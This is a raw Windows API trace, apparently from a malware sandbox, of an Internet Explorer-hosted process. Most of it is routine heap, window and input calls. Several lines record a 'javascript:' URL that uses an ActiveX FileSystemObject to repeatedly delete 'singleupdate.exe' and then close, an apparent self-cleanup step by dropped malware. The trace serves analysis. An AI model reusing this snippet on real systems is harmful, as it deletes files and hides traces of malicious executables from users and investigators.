lpPerformanceCount=0x4c20a00*=24503443841) returned 1 [0241.732] GetCurrentThreadId () returned 0xe0 [0241.732] GetCurrentThreadId () returned 0xe0 [0241.732] GetCurrentThreadId () returned 0xe0 [0241.732] memcpy_s (in: _Destination=0xcfeb00, _DestinationSize=0xc28, _Source=0x738821b0, _SourceSize=0xc28 | out: _Destination=0xcfeb00) returned 0x0 [0241.732] memcpy_s (in: _Destination=0xcff640, _DestinationSize=0xb8, _Source=0x4c18180, _SourceSize=0xb8 | out: _Destination=0xcff640) returned 0x0 [0241.733] memcpy_s (in: _Destination=0x4c18480, _DestinationSize=0xb8, _Source=0xcff640, _SourceSize=0xb8 | out: _Destination=0x4c18480) returned 0x0 [0241.754] memcpy_s (in: _Destination=0xcff0dc, _DestinationSize=0x74, _Source=0xcfef60, _SourceSize=0x74 | out: _Destination=0xcff0dc) returned 0x0 [0241.755] LdrResolveDelayLoadedAPI () returned 0x723d03d0 [0244.900] LsGetRubyLsimethods () returned 0x0 [0244.900] LsGetTatenakayokoLsimethods () returned 0x0 [0244.900] LsGetHihLsimethods () returned 0x0 [0244.900] LsGetWarichuLsimethods () returned 0x0 [0244.900] LsGetReverseLsimethods () returned 0x0 [0244.900] LsCreateContext () returned 0x0 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x670) returned 0xfe8c20 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x24) returned 0x101a0d8 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x110) returned 0xfe86c0 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x24) returned 0x101a108 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x2e4) returned 0xfea030 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0x1014f00 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0x1014d98 [0244.900] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xa0) returned 0xff8868 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x40) returned 0x1010e28 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0x1014f78 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0x1014dc0 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0x1014c58 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0x1014b90 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x400) returned 0xfe9298 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfe6f18 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x11c) returned 0xfea320 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x108) returned 0xfea448 [0244.901] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x130) returned 0xfe96a0 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x110) returned 0xfe97d8 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x278) returned 0x1029070 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xc8) returned 0xffc640 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x190) returned 0x10292f0 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x78) returned 0xfd06b0 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xf0) returned 0x1029488 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x4c) returned 0x1026458 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x194) returned 0x1029580 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xc8) returned 0x1029720 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x190) returned 0x10297f0 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x108) returned 0x1029988 [0244.902] LsSetModWidthPairs () returned 0x0 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x240) returned 0x1029a98 [0244.902] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x18) returned 0x100f1d8 [0244.903] LsSetBreaking () returned 0x0 [0244.903] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x271) returned 0x1029ce0 [0244.903] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xa) returned 0x1026b88 [0244.903] LsSetDoc () returned 0x0 [0244.903] IClassFactory:LockServer (This=0x4c0a350, fLock=1) returned 0x0 [0244.903] IClassFactory:LockServer (This=0x4c0a360, fLock=1) returned 0x0 [0244.903] IClassFactory:LockServer (This=0x4c0a370, fLock=1) returned 0x0 [0244.903] IClassFactory:LockServer (This=0x4c0a380, fLock=1) returned 0x0 [0244.903] LsCreateLine () returned 0x0 [0244.904] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x114) returned 0x1021070 [0244.904] RtlInitializeConditionVariable (in: ConditionVariable=0x4c5c298 | out: ConditionVariable=0x4c5c298) [0244.904] RtlInitializeConditionVariable (in: ConditionVariable=0x4c5c2c8 | out: ConditionVariable=0x4c5c2c8) [0244.904] LdrResolveDelayLoadedAPI () returned 0x714429e0 [0245.956] D2D1CreateFactory () returned 0x0 [0245.980] LdrResolveDelayLoadedAPI () returned 0x70f74a70 [0247.664] DWriteCreateFactory () returned 0x0 [0247.667] CreateDXGIFactory1 () returned 0x0 [0247.668] GetTickCount () returned 0x3d439 [0247.668] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0247.678] LdrResolveDelayLoadedAPI () returned 0x71c54e30 [0247.679] D3D11CreateDevice () returned 0x0 [0248.643] GetTickCount () returned 0x3d802 [0248.676] _vsnwprintf (in: _Buffer=0xcfdb78, _BufferCount=0x18f, _Format="vendorId=\"0x%x\",deviceID=\"0x%x\",subSysID=\"0x%x\",revision=\"0x%x\",version=\"%d.%d.%d.%d\"hypervisor=\"%s (%s)\"", _ArgList=0xcfd81c | out: _Buffer="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.447\"hypervisor=\"No Hypervisor (No SLAT)\"") returned 124 [0248.676] wcsncmp (_String1="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\"", _String2="vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.447\"hypervisor=\"No Hypervisor (No SLAT)\"", _MaxCount=0x190) returned -4 [0249.144] GetACP () returned 0x4e4 [0249.144] _ultow_s (in: _Value=0x4e4, _Buffer=0xcfe0d6, _BufferCount=0xb, _Radix=10 | out: _Buffer="1252") returned 0x0 [0249.144] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="EUDC\\1252", ulOptions=0x0, samDesired=0x20019, phkResult=0xcfe0c8 | out: phkResult=0xcfe0c8*=0x0) returned 0x2 [0249.156] LsQueryLineDup () returned 0x0 [0249.156] LsDestroyLine () returned 0x0 [0249.156] memcpy_s (in: _Destination=0xcff080, _DestinationSize=0x74, _Source=0xcfeed8, _SourceSize=0x74 | out: _Destination=0xcff080) returned 0x0 [0249.170] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x9c) returned 0x4d76548 [0249.170] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0249.170] VirtualAlloc (lpAddress=0x4c6e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c6e000 [0249.170] QueryPerformanceCounter (in: lpPerformanceCount=0xcff748 | out: lpPerformanceCount=0xcff748*=25247306832) returned 1 [0249.171] GetFocus () returned 0x8002e [0249.171] GetFocus () returned 0x8002e [0249.171] GetCursorPos (in: lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0*(x=266, y=52)) returned 1 [0249.171] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0) returned 1 [0249.172] GetKeyState (nVirtKey=16) returned 0 [0249.172] GetKeyState (nVirtKey=17) returned 0 [0249.172] GetKeyState (nVirtKey=18) returned 0 [0249.172] GetKeyState (nVirtKey=160) returned 0 [0249.172] GetKeyState (nVirtKey=162) returned 0 [0249.172] GetKeyState (nVirtKey=164) returned 0 [0249.172] GetCapture () returned 0x0 [0249.172] memcpy_s (in: _Destination=0x4c0a3d0, _DestinationSize=0x10, _Source=0xcfedb0, _SourceSize=0x10 | out: _Destination=0x4c0a3d0) returned 0x0 [0249.172] GetCurrentThreadId () returned 0xe0 [0249.172] GetCurrentThreadId () returned 0xe0 [0249.172] GetCurrentThreadId () returned 0xe0 [0249.173] GetFocus () returned 0x8002e [0249.173] GetCursorPos (in: lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0*(x=266, y=52)) returned 1 [0249.173] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0) returned 1 [0249.173] GetKeyState (nVirtKey=16) returned 0 [0249.173] GetKeyState (nVirtKey=17) returned 0 [0249.173] GetKeyState (nVirtKey=18) returned 0 [0249.173] GetKeyState (nVirtKey=160) returned 0 [0249.173] GetKeyState (nVirtKey=162) returned 0 [0249.173] GetKeyState (nVirtKey=164) returned 0 [0249.173] memcpy_s (in: _Destination=0x4c0a3e0, _DestinationSize=0x10, _Source=0xcfedb0, _SourceSize=0x10 | out: _Destination=0x4c0a3e0) returned 0x0 [0249.173] GetCurrentThreadId () returned 0xe0 [0249.173] GetCurrentThreadId () returned 0xe0 [0249.173] GetCurrentThreadId () returned 0xe0 [0249.174] GetCursorPos (in: lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0*(x=266, y=52)) returned 1 [0249.174] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0) returned 1 [0249.174] GetKeyState (nVirtKey=16) returned 0 [0249.174] GetKeyState (nVirtKey=17) returned 0 [0249.174] GetKeyState (nVirtKey=18) returned 0 [0249.174] GetKeyState (nVirtKey=160) returned 0 [0249.174] GetKeyState (nVirtKey=162) returned 0 [0249.174] GetKeyState (nVirtKey=164) returned 0 [0249.174] GetCapture () returned 0x0 [0249.174] memcpy_s (in: _Destination=0x4c0a3f0, _DestinationSize=0x10, _Source=0xcfedb0, _SourceSize=0x10 | out: _Destination=0x4c0a3f0) returned 0x0 [0249.174] GetCurrentThreadId () returned 0xe0 [0249.175] GetCurrentThreadId () returned 0xe0 [0249.175] GetCurrentThreadId () returned 0xe0 [0249.175] GetCursorPos (in: lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0*(x=266, y=52)) returned 1 [0249.175] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0) returned 1 [0249.175] GetKeyState (nVirtKey=16) returned 0 [0249.175] GetKeyState (nVirtKey=17) returned 0 [0249.175] GetKeyState (nVirtKey=18) returned 0 [0249.175] GetKeyState (nVirtKey=160) returned 0 [0249.175] GetKeyState (nVirtKey=162) returned 0 [0249.175] GetKeyState (nVirtKey=164) returned 0 [0249.175] GetCapture () returned 0x0 [0249.175] memcpy_s (in: _Destination=0x4c0a400, _DestinationSize=0x10, _Source=0xcfedb0, _SourceSize=0x10 | out: _Destination=0x4c0a400) returned 0x0 [0249.175] GetCurrentThreadId () returned 0xe0 [0249.175] GetCurrentThreadId () returned 0xe0 [0249.176] GetCurrentThreadId () returned 0xe0 [0249.176] GetCursorPos (in: lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0*(x=266, y=52)) returned 1 [0249.176] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0) returned 1 [0249.176] GetKeyState (nVirtKey=16) returned 0 [0249.176] GetKeyState (nVirtKey=17) returned 0 [0249.176] GetKeyState (nVirtKey=18) returned 0 [0249.176] GetKeyState (nVirtKey=160) returned 0 [0249.176] GetKeyState (nVirtKey=162) returned 0 [0249.176] GetKeyState (nVirtKey=164) returned 0 [0249.177] memcpy_s (in: _Destination=0x4c0a410, _DestinationSize=0x10, _Source=0xcfedb0, _SourceSize=0x10 | out: _Destination=0x4c0a410) returned 0x0 [0249.177] GetCurrentThreadId () returned 0xe0 [0249.177] GetCurrentThreadId () returned 0xe0 [0249.177] GetCurrentThreadId () returned 0xe0 [0249.178] GetCursorPos (in: lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0*(x=266, y=52)) returned 1 [0249.178] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff2c0 | out: lpPoint=0xcff2c0) returned 1 [0249.178] GetKeyState (nVirtKey=16) returned 0 [0249.178] GetKeyState (nVirtKey=17) returned 0 [0249.178] GetKeyState (nVirtKey=18) returned 0 [0249.178] GetKeyState (nVirtKey=160) returned 0 [0249.178] GetKeyState (nVirtKey=162) returned 0 [0249.178] GetKeyState (nVirtKey=164) returned 0 [0249.178] memcpy_s (in: _Destination=0x4c0a420, _DestinationSize=0x10, _Source=0xcfedb0, _SourceSize=0x10 | out: _Destination=0x4c0a420) returned 0x0 [0249.178] GetCurrentThreadId () returned 0xe0 [0249.178] GetCurrentThreadId () returned 0xe0 [0249.178] GetCurrentThreadId () returned 0xe0 [0249.179] GetCurrentThreadId () returned 0xe0 [0249.179] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0xfe5248, hWnd=0x8002e, phIMC=0xcff770 | out: phIMC=0xcff770*=0x2a0227) returned 0x0 [0249.179] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0xfe5248, hWnd=0x8002e, hIME=0x0, phPrev=0xcff770 | out: phPrev=0xcff770*=0x2a0227) returned 0x0 [0249.181] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.181] GetKeyState (nVirtKey=1) returned 0 [0249.181] GetKeyState (nVirtKey=2) returned 0 [0249.181] GetKeyState (nVirtKey=16) returned 0 [0249.181] GetKeyState (nVirtKey=17) returned 0 [0249.181] GetKeyState (nVirtKey=4) returned 0 [0249.181] GetKeyState (nVirtKey=18) returned 0 [0249.181] GetMessageTime () returned 244750 [0249.181] GetMessagePos () returned 0x34010a [0249.181] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0xcff2b4 | out: plResult=0xcff2b4) returned 0x0 [0249.181] GetCurrentThreadId () returned 0xe0 [0249.182] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.182] GetKeyState (nVirtKey=1) returned 0 [0249.182] GetKeyState (nVirtKey=2) returned 0 [0249.182] GetKeyState (nVirtKey=16) returned 0 [0249.182] GetKeyState (nVirtKey=17) returned 0 [0249.182] GetKeyState (nVirtKey=4) returned 0 [0249.182] GetKeyState (nVirtKey=18) returned 0 [0249.182] GetMessageTime () returned 244750 [0249.182] GetMessagePos () returned 0x34010a [0249.182] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0xcff2b4 | out: plResult=0xcff2b4) returned 0x0 [0249.183] GetCurrentThreadId () returned 0xe0 [0249.183] CActiveIMMAppEx_Trident:IActiveIMMApp:ReleaseContext (This=0xfe5248, hWnd=0x8002e, hIMC=0x2a0227) returned 0x0 [0249.183] GetFocus () returned 0x8002e [0249.183] GetFocus () returned 0x8002e [0249.183] LoadStringW (in: hInstance=0x726c0000, uID=0x1fe9, lpBuffer=0xcff418, cchBufferMax=512 | out: lpBuffer="Done") returned 0x4 [0249.183] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe7b48 | out: hHeap=0xfb0000) returned 1 [0249.183] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10253b8 | out: hHeap=0xfb0000) returned 1 [0249.183] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0x1021bb0, Size=0xe) returned 0x1021bb0 [0249.183] GetCurrentThreadId () returned 0xe0 [0249.183] IUnknown:AddRef (This=0xfd1b94) returned 0x6 [0249.184] IUri:GetScheme (in: This=0xfd1b94, pdwScheme=0xcfe8b8 | out: pdwScheme=0xcfe8b8*=0xf) returned 0x0 [0249.184] IUri:GetDisplayUri (in: This=0xfd1b94, pbstrDisplayString=0xcfe8b0 | out: pbstrDisplayString=0xcfe8b0*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0249.184] GetWindowTextW (in: hWnd=0x30218, lpString=0xcfe444, nMaxCount=512 | out: lpString="") returned 0 [0249.184] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0xd, wParam=0x200, lParam=0xcfe444) returned 0x0 [0249.184] SetWindowTextW (hWnd=0x30218, lpString="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 1 [0249.184] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0xc, wParam=0x0, lParam=0xfe48f4) returned 0x1 [0249.184] IUnknown:Release (This=0xfd1b94) returned 0x5 [0249.184] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0249.184] SendMessageW (hWnd=0x5020c, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0249.184] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x80, wParam=0x1, lParam=0x10027) returned 0x0 [0249.186] SendMessageW (hWnd=0x30218, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0249.186] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x80, wParam=0x0, lParam=0x10027) returned 0x0 [0249.186] SetWindowLongW (hWnd=0x30218, nIndex=-16, dwNewLong=-2100363264) returned -2033254400 [0249.186] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7c, wParam=0xfffffff0, lParam=0xcff294) returned 0x0 [0249.186] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7d, wParam=0xfffffff0, lParam=0xcff294) returned 0x0 [0249.187] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x10027 [0249.187] SetWindowLongW (hWnd=0x30218, nIndex=-20, dwNewLong=262144) returned 262400 [0249.187] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7c, wParam=0xffffffec, lParam=0xcff294) returned 0x0 [0249.187] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x7d, wParam=0xffffffec, lParam=0xcff294) returned 0x0 [0249.189] SetWindowPos (hWnd=0x30218, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0249.189] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x46, wParam=0x0, lParam=0xcff2a4) returned 0x0 [0249.189] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x83, wParam=0x1, lParam=0xcff27c) returned 0x0 [0249.189] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x47, wParam=0x0, lParam=0xcff2a4) returned 0x0 [0249.191] GlobalAddAtomW (lpString=0x0) returned 0x0 [0249.191] SetPropW (hWnd=0x5020c, lpString=0x0, hData=0x5020c) returned 0 [0249.191] ShowWindow (hWnd=0x30218, nCmdShow=0) returned 0 [0249.191] UpdateWindow (hWnd=0x30218) returned 1 [0249.191] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0 [0249.191] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0249.191] GetCurrentThreadId () returned 0xe0 [0249.191] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2005, uElapse=0x1388, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2005 [0249.191] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0 [0249.192] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0249.192] GetCurrentThreadId () returned 0xe0 [0249.192] GetCurrentThreadId () returned 0xe0 [0249.192] GetCurrentThreadId () returned 0xe0 [0249.193] GetTickCount () returned 0x3da34 [0249.193] QueryPerformanceCounter (in: lpPerformanceCount=0xcff300 | out: lpPerformanceCount=0xcff300*=25249529125) returned 1 [0249.193] GetCursorPos (in: lpPoint=0xcff178 | out: lpPoint=0xcff178*(x=266, y=52)) returned 1 [0249.193] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff178 | out: lpPoint=0xcff178) returned 1 [0249.193] GetKeyState (nVirtKey=16) returned 0 [0249.193] GetKeyState (nVirtKey=17) returned 0 [0249.193] GetKeyState (nVirtKey=18) returned 0 [0249.193] GetKeyState (nVirtKey=160) returned 0 [0249.193] GetKeyState (nVirtKey=162) returned 0 [0249.193] GetKeyState (nVirtKey=164) returned 0 [0249.193] GetCurrentThreadId () returned 0xe0 [0249.193] GetCurrentThreadId () returned 0xe0 [0249.194] GetFocus () returned 0x8002e [0249.194] QueryPerformanceCounter (in: lpPerformanceCount=0xcff288 | out: lpPerformanceCount=0xcff288*=25249646021) returned 1 [0249.194] GetCursorPos (in: lpPoint=0xcff0e8 | out: lpPoint=0xcff0e8*(x=266, y=52)) returned 1 [0249.194] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff0e8 | out: lpPoint=0xcff0e8) returned 1 [0249.194] GetKeyState (nVirtKey=16) returned 0 [0249.194] GetKeyState (nVirtKey=17) returned 0 [0249.194] GetKeyState (nVirtKey=18) returned 0 [0249.194] GetKeyState (nVirtKey=160) returned 0 [0249.194] GetKeyState (nVirtKey=162) returned 0 [0249.194] GetKeyState (nVirtKey=164) returned 0 [0249.195] GetCursorPos (in: lpPoint=0xcff0f0 | out: lpPoint=0xcff0f0*(x=266, y=52)) returned 1 [0249.195] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff0f0 | out: lpPoint=0xcff0f0) returned 1 [0249.195] GetKeyState (nVirtKey=16) returned 0 [0249.195] GetKeyState (nVirtKey=17) returned 0 [0249.195] GetKeyState (nVirtKey=18) returned 0 [0249.195] GetKeyState (nVirtKey=160) returned 0 [0249.195] GetKeyState (nVirtKey=162) returned 0 [0249.195] GetKeyState (nVirtKey=164) returned 0 [0249.195] GetCurrentThreadId () returned 0xe0 [0249.195] GetCurrentThreadId () returned 0xe0 [0249.195] QueryPerformanceCounter (in: lpPerformanceCount=0xcff288 | out: lpPerformanceCount=0xcff288*=25249798143) returned 1 [0249.195] GetCurrentThreadId () returned 0xe0 [0249.195] GetCurrentThreadId () returned 0xe0 [0249.196] IsWinEventHookInstalled (event=0x8000) returned 1 [0249.196] NotifyWinEvent (event=0x8000, hwnd=0x8002e, idObject=0, idChild=0) [0249.196] StrCmpICW (pszStr1="about:blank", pszStr2="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned -9 [0249.196] StrCmpICW (pszStr1="about:blank", pszStr2="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned -9 [0249.196] IUnknown:AddRef (This=0xfd1b94) returned 0x6 [0249.196] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0249.196] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pdwZone=0xcff2f4, dwFlags=0x0 | out: pdwZone=0xcff2f4*=0xffffffff) returned 0x800c0011 [0249.196] IUnknown:Release (This=0xfd0030) returned 0x1 [0249.196] IUnknown:Release (This=0xfd1b94) returned 0x5 [0249.196] GetCurrentThreadId () returned 0xe0 [0249.196] QueryPerformanceCounter (in: lpPerformanceCount=0xcff770 | out: lpPerformanceCount=0xcff770*=25249915467) returned 1 [0249.197] SetEvent (hEvent=0x374) returned 1 [0249.197] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: lpPerformanceCount=0x4c20a00*=25249972444) returned 1 [0249.197] GetCurrentThreadId () returned 0xe0 [0249.197] GetCurrentThreadId () returned 0xe0 [0249.197] GetCurrentThreadId () returned 0xe0 [0249.197] GetCursorPos (in: lpPoint=0xcff6b0 | out: lpPoint=0xcff6b0*(x=266, y=52)) returned 1 [0249.197] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff6b0 | out: lpPoint=0xcff6b0) returned 1 [0249.198] GetKeyState (nVirtKey=16) returned 0 [0249.198] GetKeyState (nVirtKey=17) returned 0 [0249.198] GetKeyState (nVirtKey=18) returned 0 [0249.198] GetKeyState (nVirtKey=160) returned 0 [0249.198] GetKeyState (nVirtKey=162) returned 0 [0249.198] GetKeyState (nVirtKey=164) returned 0 [0249.198] GetCurrentThreadId () returned 0xe0 [0249.198] GetCurrentThreadId () returned 0xe0 [0249.198] GetCurrentThreadId () returned 0xe0 [0249.198] GetFocus () returned 0x8002e [0249.198] GetCurrentThreadId () returned 0xe0 [0249.198] IsWinEventHookInstalled (event=0x8005) returned 1 [0249.198] NotifyWinEvent (event=0x8005, hwnd=0x8002e, idObject=1, idChild=0) [0249.199] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.199] GetProcAddress (hModule=0x71f20000, lpProcName="LresultFromObject") returned 0x71f2f590 [0249.200] LresultFromObject () returned 0xc183 [0249.201] GetCurrentThreadId () returned 0xe0 [0249.203] GetCurrentThreadId () returned 0xe0 [0249.203] GetCurrentThreadId () returned 0xe0 [0249.204] GetCursorPos (in: lpPoint=0xcff648 | out: lpPoint=0xcff648*(x=266, y=52)) returned 1 [0249.204] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff648 | out: lpPoint=0xcff648) returned 1 [0249.204] GetKeyState (nVirtKey=16) returned 0 [0249.204] GetKeyState (nVirtKey=17) returned 0 [0249.204] GetKeyState (nVirtKey=18) returned 0 [0249.204] GetKeyState (nVirtKey=160) returned 0 [0249.204] GetKeyState (nVirtKey=162) returned 0 [0249.204] GetKeyState (nVirtKey=164) returned 0 [0249.204] GetCursorPos (in: lpPoint=0xcff650 | out: lpPoint=0xcff650*(x=266, y=52)) returned 1 [0249.204] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff650 | out: lpPoint=0xcff650) returned 1 [0249.204] GetKeyState (nVirtKey=16) returned 0 [0249.204] GetKeyState (nVirtKey=17) returned 0 [0249.204] GetKeyState (nVirtKey=18) returned 0 [0249.204] GetKeyState (nVirtKey=160) returned 0 [0249.204] GetKeyState (nVirtKey=162) returned 0 [0249.204] GetKeyState (nVirtKey=164) returned 0 [0249.205] GetCurrentThreadId () returned 0xe0 [0249.205] GetCurrentThreadId () returned 0xe0 [0249.205] IsWinEventHookInstalled (event=0x8005) returned 1 [0249.205] NotifyWinEvent (event=0x8005, hwnd=0x8002e, idObject=0, idChild=0) [0249.205] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0249.205] LresultFromObject () returned 0xc183 [0249.206] GetCurrentThreadId () returned 0xe0 [0249.208] GetCurrentThreadId () returned 0xe0 [0249.208] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0249.209] TranslateMessage (lpMsg=0xcffa94) returned 0 [0249.209] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0249.209] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0249.209] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 